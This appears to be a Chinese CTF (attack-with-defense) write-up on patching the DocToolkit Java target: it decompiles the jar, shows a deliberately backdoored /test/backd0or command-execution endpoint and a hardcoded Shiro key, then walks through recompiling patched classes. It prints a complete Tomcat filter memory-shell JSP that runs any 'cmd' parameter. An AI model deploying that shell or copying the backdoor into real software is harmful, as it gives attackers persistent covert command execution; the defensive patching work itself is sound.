被awd速通(2)


以长城杯的DocToolkit修复作为例子,研究一下jvav靶机怎么修的

jadx反编译jar包:

一眼shiro,key都写里面了,是QZIysgMYhG7/CzIJlVpR1g==

cc链+cb链都可以用

testcontroller里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.doctoolkit.controller.test;

import java.io.IOException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RequestMapping({"/test"})
@RestController
/* loaded from: DocToolkit-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/doctoolkit/controller/test/TestController.class */
public class TestController {
@RequestMapping({"/backd0or"})
public String backdoor(@RequestParam("cmd") String command) throws IOException {
if (command == null) {
return null;
}
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("windows")) {
isLinux = false;
}
byte[] bytes = new byte[1024];
return new String(bytes, 0, new ProcessBuilder(isLinux ? new String[]{"bash", "-c", command} : new String[]{"cmd.exe", "/c", command}).start().getInputStream().read(bytes));
}
}

一眼命令执行,可以利用其打一个内存马进去

filter.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "aaa";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("sh","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

修复

jadx反编译导出class文件(存入resources文件夹中),java文件(存入source文件夹中)

找到有问题的文件,此处是ShiroConfig.javaTestController.java

TestController

将这个controller放到和BOOT-INF、META-INF同级的目录下

修改好的源码,修改内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example.doctoolkit.controller.test;

import java.io.IOException;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RequestMapping({"/test"})
@RestController
/* loaded from: DocToolkit-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/doctoolkit/controller/test/TestController.class */
public class TestController {
@RequestMapping({"/backd0or"})
public String backdoor(@RequestParam("cmd") String command) throws IOException {
if (command == null) {
return null;
}
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("windows")) {
isLinux = false;
}
byte[] bytes = new byte[1024];
return new String("Error: Don't hack me!");
}
}

编译成class文件:

1
D:\jdk8u65\bin\javac.exe -extdirs BOOT-INF\lib\ -classpath BOOT-INF\classes\com\example\doctoolkit\controller\test TestController.java

可以简单理解成-extdirs就是需要的依赖,放在了BOOT-INF\lib\内,-classpath就是我们写idea的时候的package com.xxxx

然后替换掉原有的class文件:

打包,需要将原jar包放置同一目录下:

1
D:\jdk8u65\bin\jar.exe uf .\jar包名字 BOOT-INF\classes\com\example\doctoolkit\controller\test\TestController.class

重新启动这个jar包,重新查看效果:

可以看到我们已经成功防下来了

shiro反序列化

同样道理,shiro反序列化只需要修改它的key即可

利用shiro_attack工具生成一个新的随机key

同样的方式,修改com.example.doctoolkit.shiro.shiroConfig.java,将cookie里面的key修改:

假设选择的key是U7dTFjt/fAozRmr1UaXMuA==

1
2
3
4
5
RememberMeManager cookieRememberMeManager() {
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCipherKey(Base64.getDecoder().decode("U7dTFjt/fAozRmr1UaXMuA=="));
return cookieRememberMeManager;
}

编译class文件

1
D:\jdk8u65\bin\javac.exe -extdirs BOOT-INF\lib\ -classpath BOOT-INF\classes\com\example\doctoolkit\shiro ShiroConfig.java

这个时候报错了,查看报错原因:

1
错误: 找不到符号

这代表着我们需要多个java文件再编译,通过:

1
2
D:\jdk8u65\bin\javac.exe -extdirs BOOT-INF\lib\ -classpath BOOT-INF\classes\com\example\
doctoolkit\shiro ShiroConfig.java UserRealm.java AdminController.java

这个时候AdminController会报错,但是我们只需要ShiroConfig.class,所以不必管他

覆盖class文件,打包:

1
2
D:\jdk8u65\bin\jar.exe uf DocToolkit-0.0.1-SNAPSHOT.jar BOOT-INF\classes\com\example\doc
toolkit\shiro\ShiroConfig.class

再次测试,发现原有的key无效了,新的key有效: